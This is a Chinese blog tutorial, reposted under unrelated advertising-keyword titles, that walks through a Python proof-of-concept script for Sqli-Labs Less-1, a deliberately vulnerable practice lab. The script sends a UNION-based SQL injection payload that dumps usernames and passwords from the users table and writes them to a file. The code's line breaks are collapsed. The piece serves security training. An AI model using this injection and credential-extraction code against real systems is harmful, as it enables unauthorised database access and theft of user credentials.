当前位置: 首页> 财经> 访谈 > 游戏推广公司_济南网络科技公司_百度推广开户2400_哪个平台可以随便发广告

游戏推广公司_济南网络科技公司_百度推广开户2400_哪个平台可以随便发广告

时间:2025/7/11 14:19:59来源:https://blog.csdn.net/CSDNagk1/article/details/142144066 浏览次数:0次
游戏推广公司_济南网络科技公司_百度推广开户2400_哪个平台可以随便发广告

文章目录

  • 概要
  • 整体架构流程
  • 技术细节
  • 执行效果
  • 小结

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第一关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

技术细节

import re
import requests
import os
print("当前工作目录:", os.getcwd())def send_request(url):headers = {'Host': 'sql:8081','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Connection': 'close','Upgrade-Insecure-Requests': '1','Priority': 'u=0, i'}params = {'id': "-1' union select 1,2,group_concat(username,0x3a,password) from users-- -"}try:response = requests.get(url + "/Less-1/", headers=headers, params=params, verify=False)if response.status_code == 200:print(f'{url} 存在漏洞.')html_content = response.textpattern = r'Your Password:(.*?)</font>'credentials = re.findall(pattern, html_content, re.DOTALL)if credentials:pairs = credentials[0].split(',')file_path = os.path.join(os.getcwd(), 'credentials.txt')with open(file_path, 'w') as f:for pair in pairs:username, password = pair.split(':')# 写入用户名和密码到文件f.write(f'Username: {username.strip()}, Password: {password.strip()}\n')print('Credentials have been extracted and saved to credentials.txt.')else:print(f'{url} no.')except requests.RequestException as e:print(f'Error scanning {url}: {e}')send_request('http://sql:8081')

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

关键字:游戏推广公司_济南网络科技公司_百度推广开户2400_哪个平台可以随便发广告

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

责任编辑: